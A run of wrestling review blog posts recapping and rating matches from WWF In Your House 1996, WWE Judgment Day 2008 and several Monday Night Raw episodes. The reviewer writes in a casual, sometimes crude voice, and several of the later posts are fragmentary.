Now onto the main show as the rest of the pre show is nothing but promos and recaps.

Standard recap video to begin here. Shawn is great, we all love him, he might have tried to rape a woman, blah, blah, blah.

HHH vs. Marc Mero

This is the continuation of another feud that no one really cared about. It started at Mania 12 as Helmsley had Sable with him, but later said that Sable was a dime a dozen. Later on, he and Mero who was debuting that night. He and Helmsely got into a fight backstage and they had been feuding ever since with Mero being joined by Sable.

Fairly slow pace to start as Mero keeps getting his shoulder worked over. It looks like HHH’s only desire here is to hit the pedigree, as for the most part that was the extent of his offense. Vince mentions the storms and says that if they leave they will indeed be back. If nothing else at least they mentioned that it was a possibility. Mero is getting his teeth kicked in so far as Vince is complaining about the officiating in the WWF as of late.

He goes on to say that working on the shoulder is “smart on the part of Hunter Hearst Helmsley’s part.” Say that out loud and see how it sounds. Lawler continues chatting with HHH’s valet, who never talks or does anything at all for that matter. It’s been all arm work by HHH so far which is a different side to him that I really like. He even goes to the top and gets a decent looking chop.

That was smart as HHH isn’t a high flier but he went for something basic that looked good. Well done. He tries it again a bit later and gets crotched, which is a nice little thing saying don’t try something you’re not experienced at more than you have to. Mero hurts his knee as this is getting solid time. We’ve cracked 15 minutes and this isn’t boring yet. It’s holding up quite nicely which is always a good sign.

I really don’t like the ending here though. HHH has the pedigree hooked but drops it so Sable is sure to be watching. When he turns around he gets catapulted into the post and pinned. Way too abrupt.

We cut to the back to see Cornette talking about how he has a big bombshell for the main event, but he’s got a good one before it: Owen is the manager of Bulldog for tonight only. He gets a great line in about how Shawn made his bed and he tried to get Diana in it but now he’s sleeping alone. This is definitely from the second show as we cut from this interview where Cornette talks about a match that hasn’t happened yet to the start of the main event, but I’ll save that for the end.

I was planning on doing the original matches as well as the second editions of them, but as Beware of Dog 2 as they refer to it begins, they show why this would be difficult: not only did the feed get cut, but so did the lights at the arena.

That’s right, the matches happened, but they happened in the dark. Due to that, we move on with the rematches. Also starting with this show, Jim Ross and Mr. Perfect are your commentators. JR saying that Austin is really tough is something that never gets old. There are no rules in this so they can beat on each other all day and all night if they want to. All that matters is touching all four corners. It’s kind of trivial but at the same time it makes the match have a nice flow to it.

Strap Match: Savio Vega vs. Steve Austin

Now this was still the Ringmaster version of Austin and not yet Stone Cold. The stars continue to align for the WWF as on Sunday night, you had a standard strap match. On Monday night, DiBiase, Austin’s manager, said that if Austin loses, DiBiase would leave the company. Obviously this was the case as DiBiase joined the NWO. This is the famous part that I’m sure you’ve all heard of about the development of the Stone Cold character.

Once his manager left, the company had no idea how to use Austin. They knew in real life he was a redneck that could out curse a sailor. Since no one else had an idea, they said just do that on camera. The Texas Rattlesnake was born. Once again, something that seems so insignificant for the WWF, the power going out and DiBiase leaving, ultimately saves them.

This is one of the matches where you have to touch all four turnbuckles, so this is one of my all time favorite gimmick matches. We start with your standard back and forth beatings with the strap which is always fun. The commentators call Savio a Caribbean legend. Far from it, but it’s an interesting idea. They go onto say that he’s never lost this kind of a match. Now I have no idea if that’s true or not, but even if it’s not, that’s brilliant.

It makes Savio look awesome in this match. You can see the future crazy man in Austin during this match as he beats the tar out of Savio with that strap. Apparently if Savio loses he becomes the Million Dollar Man’s chauffeur. The strap goes for 10 feet and we get a spot that I like as Austin backdrops him over the top but gets pulled out with him. That’s a good illustration of how these matches work.

I’ve always loved this match as it offers a lot of fun spots and can go for a long while before you get a winner. This was Savio’s first feud worth anything and it’s really a good one. Granted, I think most of that was because of the guy he was feuding, but it was at least entertaining. At the time it was awful in my eyes, but now it’s quite good. This match is going on for a very long time but it’s still holding its own weight.

Austin actually jumps from the top rope and hits the barrier on the floor. That’s amazing to see considering what happens to his knees in the future. This is a great fight as they’re beating the living crap out of each other. Things like that are always fun, but when they can keep you entertained for this long, you know you have something good going for you which is the case here.

After over twenty minutes of nearly killing each other, we get to the ending which is Austin dragging Savio behind him and touching the buckles, but Savio gets them as well just behind him. Finally, it comes down to one buckle with the winner being the person that gets to it. They fight over the strap, but Austin accidentally slingshots Savio into it and sends DiBiase out of the company. Post match, Savio gets the crowd to sing that stupid song when people are leaving.

Rating: A. This was a great match. They beat the heck out of each other and it never got dull. They had a ton of time to work with and you could tell these guys wanted to beat on each other. It was the blowoff match for their feud and it went better than it should have. Excellent match, the best Savio ever had, and a great way to put Austin over without him getting pinned.

Yokozuna vs. Vader

This is the match that we were promised last month at Good Friends Better Enemies. It comes about 7 weeks after Vader hit three Vader Bombs onto the leg of Yoko on Raw, breaking it and sending him out on a forklift. We get the JR code talk, saying yes we know this match is going to suck but we have to put it on anyway because Vader needs someone to squash. However, this wasn’t the case on the last show from two days prior as Yoko pinned him after a Samoan Drop. Now however we move onto this which could be ok but it’ll likely suck.

They start off by hammering each other with big shots. That’s fine as these kinds of matches follow a very specific formula. Usually they’ll beat on each other for the big showdown then one will take over with some bad offense until we get to our finish. We set for the big clash, but Vader pulls up twice. I get that the spot works once but after that it kind of loses its specialness. When they finally explode, Vader goes flying.

That’s just not something that you say every day. Vader gets back in and just goes off on Yoko. Think of a Mike Tyson fight from the 80s or early 90s. That’s what you get here. However, he never goes off his feet. He actually hooks a takedown on Vader and takes control. This is mostly punching and ramming into each other. For the two guys that you have in there that’s as good as you’re going to get. That being said, this has been pretty good.

Finally Yoko beats Vader down long enough to set up for the Banzai. However, Cornette interferes to try to hit Yoko with the racket. He gets beaten down too as Yoko sets for the Banzai on him. Vader saves him and Vader Bombs Yoko for the pin.

Rating: C. This was a fun little match. It’s kind of like a cheap action movie. You don’t expect anything masterful, but you like what you get. Vader gets to beat the living tar out of Yoko and finally end this feud. This set up Vader as the challenger to Shawn’s title at Summerslam in a match that to this day I have never seen all the way through. Very fun little match.

Intercontinental Title: Casket Match-Undertaker vs. Goldust

Yes you read that right. This is probably the most forgotten feud in the history of the 90s. These two went at it for about three months but somehow Taker never won the title. Goldust kept escaping somehow, but no one remembers this at all. This match was designed to end the feud though with the ending to this match. We see a recap last night of Ahmed Johnson and Goldust beginning their feud.

Taker appears behind Goldust to start the match. As can be expected, this is mostly Taker beating the living tar out of Goldust for about ten minutes before a short comeback and then about five more minutes of beating down Goldust. The announcers are stunned when Goldust goes on offense and he’s the champion in this match. That’s saying a lot actually. At one point Goldust almost gets Taker in with the lid closed but Taker fights out.

We end with Taker tombstoning Goldust, but of course when he pops open the lid Mankind is inside. Mandible Claw knocks the Deadman out to end this. Post match, Mankind screws the casket shut but once the lid starts smoking and is removed, there’s no Taker inside as the show ends.

Rating: C+. Certainly not a match that was designed to mean much of anything. The whole point of this was to begin perhaps Taker’s best feud ever as he and Mankind finally get going. The match was almost a squash with Goldust absolutely getting his head handed to him by Taker for about 15 minutes, then Goldust goes on some token offense for three before Mankind comes in to take care of the big guy. If you don’t take it seriously, you’ll like it.

WWF Title: Shawn Michaels vs. British Bulldog

After Smith makes his entrance, we cut to the back to Shawn, who says anything can happen and instead of Beware of Dog, it should be beware of Kliq. He makes his intro to a big pop as could be expected.

As this is happening, Vince mentions that anyone that bought this PPV will be given a special encore of the show Tuesday night, which was actually a completely new show, save for the opener and this main event, which is kind of cool because the matches were extended on the Tuesday version. Cornette’s lawyer, Clarence Mason declares that Shawn will be sued for trying to break up the marriage of the Smiths.

Nothing ever came of this at all. Shawn dominates the early part of the match with all kinds of jumps and flips and other TNA specialties. He then puts on a headlock for far too long and while it doesn’t bring the match to a screeching halt, it does slow things down. Shawn pre-injury is impressive. He’s all over the place but he never once looks like he’s just doing random moves.

There’s a sequence to his stuff that most people just don’t have. Following a long short (yes that’s an oxymoron) arm scissors, Bulldog does the same, yet always impressive, lift up spot as these two did four years ago on SNME. More or less, Bulldog dead lifts Shawn with one arm. That’s just flat out amazing no matter who you’re for in this match.

When Shawn is down, Bulldog does this weird little hop when he kicks Shawn. He kicks his left foot out before stomping with the right one. It’s a weird looking thing as Smith almost looks like he’s dancing. Bulldog beats on Shawn for about five minutes but Shawn makes his comeback, but instead of just pinning him, we get a longer sequence which is a very nice break.

They trade the advantage for awhile but eventually we get a ref bump. Owen tries to interfere but gets a little chin music. Bulldog sets for the powerslam but Shawn gets out of it and lands a German suplex, but both men get pinned. Diana grabs the belt and tries to leave with it. To further prove why she shouldn’t be allowed on television, she holds it over her head upside down which makes her look even dumber than she already does.

Monsoon comes out and literally grabs it out of her hands. He talks to the referees and the Fink. We get the official decision: a draw, meaning Shawn keeps the title but there will be a rematch. Until then, Shawn is the champion. His music and dancing play us out.

Rating: B. This was a pretty good match. While it wasn’t a classic or anything, it did two things that great matches need to do: it surprised me with the ending and it kept me entertained. These two indeed had some chemistry together as the power game that Smith had was something that could have beaten Shawn and he was a somewhat believable challenger. They had a far better match a month later at King of the Ring where Shawn kicked his head off to pin him clean. This was good though.

Overall Rating: B+. This one is really hard to grade considering all of the confusion that happens because of the storm. However, you get five matches here, and the worst is certainly watchable. There’s nothing bad on here and with the NOW being a strong force to come against, it’s a good sign to see all that the company had coming up. You have HHH, Austin, Taker/Mankind and Michaels coming on strong and you can tell they’re all going to do something.

However, no one really remembers any of this because of how mind blowing WCW was at this time. If you watch this show out of the order that it was presented in on Tuesday night, it’s a fine way to spend two hours. Excellent show, by far the best In Your House so far and definitely a good way to spend two hours. Very high recommendation.

 

Remember to follow me on Twitter @kbreviews and pick up my new book on the History of Starrcade for just $4 from Amazon at:




On This Day: May 18, 2008 – Judgment Day 2008: Two Masters Having A Fight

Judgment Day 2008
Date: May 18, 2008
Location: Qwest Center Omaha, Omaha, Nebraska
Attendance: 11,324
Commentators: Jim Ross, Jerry Lawler, Michael Cole, Mick Foley, Mike Adamle, Tazz

 

Didn’t realize this but this is being reviewed three years to the day that this show happened. Always interesting I guess. Anyway I do not remember this show at all even though there are two world title matches of course. For Smackdown it’s Edge vs. Taker for the vacant title and on Raw it’s Orton vs. HHH (yeah I’m shocked too) in a cage. Shawn vs. Jericho also, which is always worth checking out. Let’s get to it.

 

Oh and of course I’ll be doing 2009 next to get done with this series. After that it’s a quick run through the three remaining ONS’s that I have and then it’s time for Armageddon.

 

Opening video is about the title matches and Shawn/Jericho of course. Oh and Cena vs. JBL. The Hell’s Gate submission is banned also. I remember that stupid story that focused way too much on Vickie.

 

John Cena vs. John Bradshaw Layfield

 

Well this isn’t what I would have picked for an opener but it’ll get a reaction I guess. JBL claims that Cena cost him the title at Backlash so here you are. Very slow start as neither guy seems like he wants to do much at all. Bradshaw grabs a headlock but Cena goes straight for the STF so JBL bails. Back in and Cena gets sent shoulder first into the post. Jibbles works on the arm and adds a neckbreaker for no cover.

 

Off to a modified key lock as this turns into something resembling a submission match. Cena rolls out of a near cross armbreaker but it doesn’t really hurt JBL so the assault continues. Cena comes up with one arm and hammers away, adding a Throwback to really take JBL down. Top rope Fameasser misses and Cena hits the apron. JBL manages to grab a suplex style move to drop Cena over the top and then out to the floor.

 

This is a painfully boring match if you’re not sure on it. We’re nearly 8 minutes into it and they’ve been moving so freaking slow the entire time. Off to a bearhug by Bradshaw but Cena turns to his side so it’s almost a German suplex position. Off to a bodyscissors with an armbar as I’m really confused here. I mean, IT’S JOHN CENA and they’ve doing a submission/very old school style match. Why in the world do they think this is a good idea?

 

Off to a full nelson which Cena can’t quite break. After we waste some time with that, here comes Cena who breaks the hold but can’t hit the FU. I miss the days when it was called that as AA makes me think of Arn Anderson. Back to the bodyscissors in case the fans started to get into this. I’m legitimately surprised by how this match has gone. Not that it’s a good thing here as I’d definitely prefer your usual Cena match to this.

 

Cena breaks the hold but walks into a big boot and it’s back to the back as JBL drops some elbows. Clothesline, but not the devilish version, puts Cena down for no cover. And never mind as JBL picks him up after that move and Cena reverses another clothesline attempt into the FU for the pin out of absolutely nowhere.

 

Rating: D. This was by far and away the worst Cena match I’ve ever seen on PPV after he made it big. I have no idea what they were doing here as it was closer to a submission match that you would see out of like Bob Backlund and Ivan Koloff or some combination like that rather than two glorified brawlers. Not much here at all and I was really disappointed with them in it.

 

King William Regal, the GM of Raw, isn’t happy.

 

The Dirt Sheet makes fun of Kane and Punk who are challenging Miz and Morrison for the Smackdown tag titles tonight despite both of them being ECW guys and the ECW commentators calling this.

 

Smackdown Tag Titles: John Morrison/The Miz vs. Kane/CM Punk

 

If I remember this right there is zero story to this match at all. Morrison has the same music and nearly the same intro as he does today. It’s so shocking to look at Miz and know what was coming for him in just a few years. Morrison beat Kane on ECW which is about the extent of the build. Punk would go to Raw in the Draft in just over a month. He’s Mr. MITB at the moment also. Oh and Kane is ECW Champion. There was a talent exchange or whatever going on with Smackdown and ECW where they could be on both shows if you’re wondering how this is possible.

 

This actually gets big match intro treatment for no apparent reason. Odd indeed. Punk and Miz start us off and it’s so weird to see these two as midcarders. Off to Kane, who is by far and away the biggest star in this match. Kane beats Morrison up with ease but can’t do the same to Miz. Wow that sounds weird in context. Punk comes in with a slingshot knee drop to Morrison for two.

 

Tarantula version of the Anaconda Vice which is rather awesome goes on. Back off to Kane who massacres Miz a bit more, including the clothesline for no cover. Morrison goes all angry on Kane, hammering away with everything he can to slow baldie down. Miz and Morrison both have a lack of finishing moves for the most part other than Morrison having some weak stuff so there isn’t much of a way that they can put Kane down.

 

Luckily for them it’s off to Punk who beats on Morrison as is his custom. Down goes Miz and a snap powerslam gets two on Morrison. Springboard clothesline gets two on Morrison who is looking awesome with these kickouts. Miz tries to grab Morrison’s leg to slow things down a lot and is chokeslamed on the floor for his efforts. That distraction though lets the Moonlight Drive (neckbreaker) end Punk mostly clean.

 

Rating: C. Not a bad match here at all but it probably should have been a TV main event more than anything else. You could certainly see Miz and Morrison growing up here as they managed to stay away from the pins which was the right thing to do. Having matches with guys like Kane and Punk was what made them get a lot better in a hurry, which is exactly why someone like Kane was on ECW. Fine little match here.

 

Rambo is sponsoring the PPV tonight for no apparent reason.

 

We recap Jericho vs. Shawn. This started at Mania when Shawn retired Flair. Batista then kind of sort of turned heel at least against Shawn, saying that Shawn had no right to retire Flair like he did. This led to a match at Backlash which Jericho refereed for no apparent reason. Actually there probably is one but I don’t remember it and I’m fighting a cold so I have no desire to look it up.

 

Shawn said he’d do whatever it took to win and in the match he escaped a Batista Bomb but hurt his knee. Jericho called shenanigans and gave Shawn an award for best actor. Shawn and Jericho fought Miz/Morrison on Raw and Shawn only managed one superkick which was enough to set up the win. Jericho bought the injury, then Shawn said he was faking. Jericho now doesn’t believe him so Shawn kicked his head off. That brings us here.

 

Shawn Michaels vs. Chris Jericho

 

Jericho is IC Champion here but it’s non-title. Shawn is closer to heel here which is rather odd to see indeed. Naturally he gets the face pop here. Well the bigger one that is as Jericho certainly gets one of his own. This is one of if not the first of many, many matches these guys had in 2008. Jericho goes after the knee as he still doesn’t buy Shawn saying it was faked.

 

Off to a headlock by Shawn as Jericho goes for the leg again. Shawn grabs an inverted figure four which JR calls a Native American Deathlock. That’s a new one I guess. Jericho gets the rope and it’s a standoff. This is Shawn vs. Jericho with fifteen minutes to work with so I wouldn’t expect a lot of jokes here. We get a card game reference by JR for no apparent reason and it’s off to fighting over an armbar.

 

Shawn gets something like a cross armbreaker over the arm which is pretty cool looking. Jericho looks weird in the full tights and short hair. The trunks were a nice touch for him. Jericho manages to send Shawn into the corner as no one can get an extended advantage at all here. To the corner and Jericho gets knocked off but gets his knees up to block the elbow from the top.

 

Jericho hammers on the ribs as we hit the abdominal stretch. See what psychology does to help you out here? Shawn avoids the bulldog as the momentum shifts again. Jericho might have had control for a minute and a half which is certainly the longest of the entire match so far. Forearm by Shawn but he gets caught in the Walls and the crowd reacts. Both guys head to the apron and Chris gets his head kicked off by Sweet Chin Music and he’s down on the floor.

 

Back in that only gets two and Shawn drops the elbow but his ribs are hurt even worse now. This has been great stuff if that wasn’t clear by the writing about it. Jericho wisely falls down instead of taking the superkick and then does it again. Crowd isn’t sure what to think of that so Shawn gets a bit closer to him and keeps tuning it up. Shawn fires it but Jericho was playing possum just like Shawn did against Batista and drills Shawn with the Codebreaker. NICE!

 

That’s only good enough for two though as the fans are way into this. See what happens when you put two of the best ever in the ring and give them time and a story? YOU GET A GREAT MATCH. Why is that so complicated? Shawn grabs a Crossface out of nowhere and Jericho somehow manages to get the rope. Shawn isn’t enough of a psycho to make that work I guess. Shawn gets draped over the top and we get even more SWEET psychology as Shawn puts his knees up for the Lionsault but Jericho lands on his feet and tries the Walls. Shawn rolls through for the surprise pin though to end it. AWESOME match.

 

Rating: A. Again, two masters with time and a story. What did you really expect to happen here? I don’t think it’s possible for these two to have a bad match and they didn’t come close to one here. This would set of the feud of the year as Jericho would get the world title in about three months and Shawn would chase it all Fall.

 

They shake hands post match and both guys are tentative because of what happened in Seattle back in 2003.

 

Mickie James doesn’t really want to talk about how date with Cena as JBL comes up. JBL bullies Grisham and talks about fighting which goes nowhere at all.

 

Raw Women’s Title: Beth Phoenix vs. Melina vs. Mickie James

 

Mickie is champion. So we’re like an hour and 10 minutes into this show and the Smackdown guys haven’t called a single thing. Gotta love the treatment of the B show. Beth and Melina argued about the title shot and we see why Beth doesn’t talk like ever. Mickie is still all bubbly and hot at this point. Not that she’s not hot now but you get this idea. THIS somehow gets big match intros. Wow indeed.

 

Melina looks extra good tonight. Beth tells Melina to get out of her ring so Melina drills her with a kick. Mickie grabs a victory roll for two on Melina and it’s one on one for awhile. Beth pulls her out and it’s challenger vs. challenger. Yeah I don’t care either but you have three hot chicks out there so how much can I complain?

 

Mickie back in now and we get some nifty triple person spots. James throws on something like a Tazmission on Beth which goes nowhere. Regal Cutter to Melina allows Mickie to go up, only to get….uh…..pussied by Melina. They speed things up a bit and Mickie gets a top rope Thesz Press to Beth followed by a HARD seated dropkick. In your HOLY CRAP spot of the night, Beth puts them both in an over the shoulder body vice for about 12 seconds. Mickie gets the jumping DDT to Melina quickly after that to retain but dude, WHO CARES? I’m still getting over that body vice move which was insanely awesome.

 

Rating: C+. Better Divas match than usual actually as all three chicks were working hard out there and the result was rather good stuff. When Melina is the ugliest chick out there you can’t really go wrong. With an awesome spot like that and a pretty good match other than that, this was one of the better Diva matches I’ve seen in awhile.

 

Batista tells Shawn that if he was faking he’ll hurt him. That would be next month I believe. We’ll get to that one soon.

 

Undertaker dominated a text message poll about who would win.

 

We recap Edge vs. Undertaker. Basically Undertaker used the Hell’s Gate and Vickie banned it. Edge got hurt and since Taker didn’t show remorse, she stripped him of it and there’s a Taker vs. Edge match for the title. There was some over the top rope challenge where you had to win a match to qualify. Batista won but Edge was allowed to come in at the very end and win. This went on for months and people got rather tired of it.

 

Smackdown World Title: Edge vs. Undertaker

 

Title is vacant remember. Edge’s pyro doesn’t go off for some reason. Oh there it is. Two entrances should not take five minutes, period. Taker tries to box to start so Edge runs off. Edge tries right hands and gets launched into the corner as Taker takes over. Off to the arm as Taker tries to take out the spear. Old School is countered. When does that ever hit anymore?

 

They fight on the floor for a bit with Edge sending him into the steps and adding a baseball slide to take over. Big boot by Taker misses in the corner which gets two for Edge. Edge works on the knee and they slug it out a bit. Edge hits a big boot to about the shoulder or so for no cover. Old School attempt by Edge gets the same result as Taker’s attempt earlier.

 

They slug it out again which of course Taker wins. Taker chokeslams him into the corner for some reason and a big boot (actually getting face) gets two. Old School #3 hits as I guess that’s high school since we had elementary and middle already. Hawkins and Ryder, the Edgeheads, come out for a distraction as Edge exposes the buckle. Better option really as you don’t want him exposing himself.

 

Spear eats post though and a buckle bomb gets two. Have to give it to Taker for busting out some nice adjustments to his regular moves here. Snake Eyes into the buckle doesn’t work so Edge hammers away in the corner but gets caught in Snake Eyes into the corner anyway. Taker likes that corner I guess. Instead of covering Taker tries to hit the ropes for something but Edge (called the Sly Fox by Cole) hits a weak spear for two.

 

They slug it out (again) with the Canadian actually winning for a bit until he walks into a chokeslam for a very long two. Out to the floor again and we go into the crowd. They slug it out on the floor and only Taker beats the count back in to win the world…..oh of course he doesn’t as here’s Vickie to say excuse me a lot. Taker doesn’t win the title because it’s a countout. They would have another match in the form of TLC next month where Taker had to “retire”.

 

Rating: B. Good match here ruined by a weak ending. Nowhere near as good as their Mania match but it was still pretty solid stuff all around. They work very well together but after all the near falls you want something better than a lame countout ending especially with something close to a Dusty Finish that takes Vickie two minutes to announce. Good match until then though.

 

Taker adds a tombstone to Edge post match because he can and leaves the title in the ring.

 

Orton says he’ll win but says it very slowly. This was another part of their never ending feud that set up Orton and Cena’s never ending feud.

 

Here’s MVP for no apparent reason. He’s upset because he’s not on the card tonight so anyone that wants to fight him can come down right now. Matt Hardy’s music comes on but he’s just the US Champion who beat MVP at Backlash so he’s not the right choice I guess. Instead it’s this guy facing him.

 

Jeff Hardy vs. MVP

 

Far bigger pop for Jeff than Matt which doesn’t mean anything really. Foley isn’t sure who to cheer for because MVP is Smackdown (Jeff is Raw) but he doesn’t want to cheer for a jerk. Jeff sends him to the floor early as we hear about his house burning down which was legit actually. Back in the ring and MVP takes it to the mat. Jeff tries the slingshot dropkick to the floor but gets slammed to the floor instead.

 

Back in and we hit the armbar again as Jeff looks more annoyed than in pain. Hammerlock slam gets two. Jeff fires back but tries a move out of the corner, only for the arm to go out and give MVP the advantage all over again. Drive By boot to the head/arm of Jeff sends him to the floor as this has been almost all MVP at this point.

 

Jeff goes shoulder first into the barricade which gets two back in the ring. MVP is channeling his inner Anderson (Arn, not Mr. you uncultured swine) with all of this arm work. Playmaker can’t hit and Jeff gets a shot in with the left arm so both guys are down. Slingshot dropkick in the corner hits for Jeff but he can’t hit the Swanton. Whisper in the Wind out of nowhere gets a pin. I like that ending I think.

 

Rating: C+. This was a bonus match and wasn’t half bad so I really can’t complain much at all. Jeff would be world champion by the end of the year so this was really just a quick stop for him. Anyway, fine for what it was with both guys having a decent enough match for a bonus match that was there to fill in time.

 

Sylvester Stallone talks about directing Rambo.

 

The cage is lowered.

 

We go to the recap which is introduced by JR who sounds all slurred for some reason. HHH won an elimination match at Backlash to win the title and this is the rematch. Somehow this would go on for like a year with them in the main event of Mania 25.

 

Raw World Title: Randy Orton vs. HHH

 

In a cage as previously mentioned. Again the entrances take a combined five minutes. This also gets big match intros. It doesn’t really have the same ring to it after the Divas got this treatment. Orton goes for the door almost immediately but of course that doesn’t work. Somehow he manages to slam the door on the Game’s head to take over in the early going.

 

Basic stuff to start as both guys hammer on each other with nothing of note happening. Neckbreaker by HHH gets two as do a bunch of right hands. He gets sent into the cage and Orton gets all googly eyed. Into the cage again and Orton kicks away rather hard. This wasn’t from the side though so it won’t put HHH out for months on end. Elevated DDT hits for two.

 

Off to a quick chinlock before Orton hits a powerslam for two. This is Orton’s usual very slow paced match which doesn’t make anything interesting in the slightest. The fans want an RKO despite Orton allegedly being all evil and crazy and all that jazz. Regal is still looking on as sometime around this time it was when he cut Raw off the air early which was rather cool indeed.

 

Orton stomps away to really vary up his offense but a kneedrop misses. Off to the knee goes HHH now as I channel my bad Yoda impersonation. Figure Four goes on for a good while but Orton makes the rope. Even Lawler is like dude, that doesn’t mean anything in this but the referee breaks it anyway. Quick RKO attempt is countered into a Pedigree attempt which is countered by a backdrop by Orton.

 

Randy goes for the door but HHH makes a diving save. Orton somehow finds a chair on the floor and pulls it back in with him. That was done in the cage match with Flair and HHH at Taboo Tuesday also. Facebuster gets two as Orton can’t get a chair shot in yet. HHH gets the chair so Orton hits HHH in the game pieces to bring him back down. DDT on the chair somehow only gets two because after a DDT on a chair, Orton clearly can’t walk through a door right?

 

RKO onto the chair is blocked and it’s a Raven-esque drop toehold onto the chair to buy HHH some time as well as a two count. Orton takes over again and climbs but HHH is like screw that and they fight on the top rope. Down goes Viper boy so HHH climbs. Orton pops up to catch him as he’s on the top and the fight continues. Orton knocks him down and tries to climb over but HHH is like “Dude I’ve only held the title three weeks. Over my dead body” and pulls him back in.

 

HHH channels his inner Punk and tries a Pepsi Plunge (top/middle rope Pedigree) but that would be too big of a spot for him so Orton slams him to the mat. They fight on top some more as they haven’t done that enough in the last five minutes but Orton winds up getting crotched. Spinebuster puts Orton down again and it’s time for a Pedigree on the chair. That gets countered also and it’s time for a Punt. HHH isn’t feeling that though so he ducks, hits a chair shot and then the Pedigree ends this.

 

Rating: B-. Not bad here as they had some close calls and some decent stuff in about 22 minutes. As always they can’t have a classic so this is about as good as it gets for these two. HHH wasn’t a lock to win which helps it out a lot. Cage matches are hard to make believable but they came somewhat close here. Not bad at all for the main event of a b-level show.

 

Overall Rating: B. All things considered, this was rather good. You have a great match with Jericho vs. Shawn and the worst match is the opener, which oddly enough had Cena in it. I still don’t get that one. Anyway, this was a very good show overall which might have had to do with the total lack of anything resembling expectations for it. 2008 was a bad year for WWE as was 2009, which is what’s up next as we wrap up Judgment Day.

 

Remember to follow me on Twitter @kbreviews and pick up my book on the History of the WWE Championship from Amazon for just $5 at:

 




On This Day: May 10, 1993 – Monday Night Raw 1993: Duggan’s Final Chance

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Date: May 10, 1993
Location: Manhattan Center, New York City, New York
Attendance: 1,200
Commentators: Vince McMahon, Bobby Heenan, Randy Savage

Earlier tonight Shawn was outside of the arena when Mr. Perfect jumped him and slammed Shawn onto the hood of a car.

Heenan goes on a rant about how Duggan was behind Perfect attacking Shawn. Perfect and Duggan associating with each other just sounds wrong.

King of the Ring Qualifying Match: Typhoon vs. Bam Bam Bigelow

Yokozuna vs. PJ Walker

Mr. Perfect vs. Iron Mike Sharpe

Rating: D+. Just a squash here and we got the weekly “comedy” bit thrown in here. I have no idea why they did those bits like Heenan watching TV but they were rarely funny and hopefully would stop soon after this. Hennig continues to look good but he would be disappearing soon because of back issues.

Mr. Hughes vs. Cannonball Kid

Hughes is debuting Harvey Whippleman as his manager. This is another squash with Hughes pounding away with almost no resistance whatsoever. A big boot and Bossman Slam end the Kid. The next week it would just be The Kid and he would face Razor Ramon. I think you know the story.

Intercontinental Title: Jim Duggan vs. Shawn Michaels

Duggan chokes away in the corner and slams Michaels down for two. Now Hacksaw puts on a chinlock of his own but the three point clothesline puts Shawn on the floor as we take another break. Back again with Shawn missing a splash in the corner but hitting Duggan in the ribs with a knee. Bam Bam Bigelow distracts the referee, allowing Shawn to throw Jim out to Yokozuna. A big splash CRUSHES Duggan but Mr. Perfect runs in for the DQ.

The lumberjacks brawl to end the show.

Remember to follow me on Twitter @kbreviews and pick up my book on the History of the WWE Championship for just $5 from Amazon at:




On This Day: May 2, 2005 – Monday Night Raw 2005: Shelton Benjamin Is Still Out Cold

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Date: May 2, 2005
Location: Fleet Center, Boston, Massachusetts
Attendance: 6,500
Commentators: Jim Ross, Jerry Lawler

Gold Rush Tournament First Round: Christian vs. Kane

That gets two in the ring and Christian chokes away in the corner. Kane shrugs all that off and throws Christian into the air in retaliation. Chokeslam is countered and Christian hooks a sleeper. Kane counters that into a side slam but Tomko breaks up the top rope clothesline. Unprettier is countered but Tomko gets on the apron. Kane sends Christian into him and the chokeslam sends Kane to the semifinals.

Tomko gets a chokeslam post match.

Flair makes fun of Christian for losing. Flair “raps”, and says HHH will win the tournament. The 80s just died a bit.

Muhammad Hassan complains about not being in the tournament and blames Hogan, Shawn, the fans, and Daivari for the loss last night. Daivari gets beaten down but he still follows Hassan to the back.

Viscera vs. Simon Dean

Simon makes a bunch of fat jokes and gets run over. Viscera puts him in the Tree of Woe and crushes him but misses an elbow. That gets Dean nowhere as a chokeslam and splash literally squash him. This was nothing.

Gold Rush Tournament First Round: Shelton Benjamin vs. Shawn Michaels

This is the match that I was talking about. Shawn is back in the world title hunt after going after Muhammad Hassan for a few months. Shelton is on fire at this point so this is going to be great. They immediately hit the mat and Shelton dominates as you would expect him to. Shawn grabs a hammerlock and they hit the mat again. Shelton rides him again and Shawn has to head to the ropes to get a break.

Shelton hits a Samoan Drop and both guys are down again. Things speed up and Shelton gets two off a backbreaker. Shawn hits the forearm and nips up, but Shelton nips up a second later, freaking Shawn out. We get a fast paced pinfall reversal sequence and Shawn takes Shelton down with a hard chop. Benjamin comes back with the Stinger Splash in the corner but the T-Bone is broken up.

Raw Tag Titles: La Resistance vs. Hurricane/Rosey

Gold Rush Tournament First Round: Chris Jericho vs. Edge

Gold Rush Tournament First Round: Chris Benoit vs. HHH

Now the Rolling Germans hit and the Swan Dive gets a very delayed two. Benoit is looking scarier and scarier with every hit to that head. HHH charges but gets caught in the Sharpshooter. Flair is brought in and chopped in the corner but HHH hits Benoit in the head and the referee goes down. Cue Batista who cleans house, including a spinebuster to HHH. Benoit puts on the Sharpshooter and Batista pulls the rope away so HHH has to tap.

Remember to follow me on Twitter @kbreviews and pick up my new book on the History of the WWE Championship from Amazon for just $5 at:




On This Day: April 26, 1993 – Monday Night Raw 1993: With A Marriage Proposal

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Date: April 26, 1993
Location: Manhattan Center, New York City, New York
Attendance: 1,000
Commentators: Vince McMahon, Bobby Heenan, Randy Savage

Damien Demento vs. Mr. Perfect

Savage goes on a mini-rant about Bartlett before we get down to a lot of circling each other by the guys in the ring. Perfect starts off with a dropkick to send Damien out to the floor as things continue to go slowly. Back inside and Demento throws him out to the floor, knocking out the cameraman in a cool visual. Perfect gets back inside and is thrown to the floor for the second time in thirty seconds. Back in and they slug it out in the corner with Damien taking over again. Perfect comes back with some chops and the Hennig Neck Snap to set up the PerfectPlex for the pin.

Lex Luger vs. Crush

Luger is still the Narcissist and Crush is the Hawaiian in purple and orange. They lock up to start with Luger being shoved into the corner. Crush wins a test of strength but Luger kicks him in the ribs to take over. The Hawaiian comes back with kicks of his own and a gorilla press slam to send Luger to the floor. After a break we come back to see Crush suplexing Luger down for two.

Rating: D+. Slow match with a bad finish. The Doink feud did nothing for Crush as he was one of the most popular guys in the company but he was feuding with a clown. Luger would get the Superman push soon after this as the new Hogan once Hogan was crushed by Yokozuna at King of the Ring. Nothing to see here for the most part.

King of the Ring qualifying matches begin soon.

Mr. Hughes vs. Jason Knight

We look at the couple in the proposal again.

Von Krus vs. Typhoon

Heenan pesters the couple but the chick accepts the proposal anyway.




On This Day: April 23, 2007 – Monday Night Raw 2007: Cena’s Birthday Present

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Date: April 23, 2007
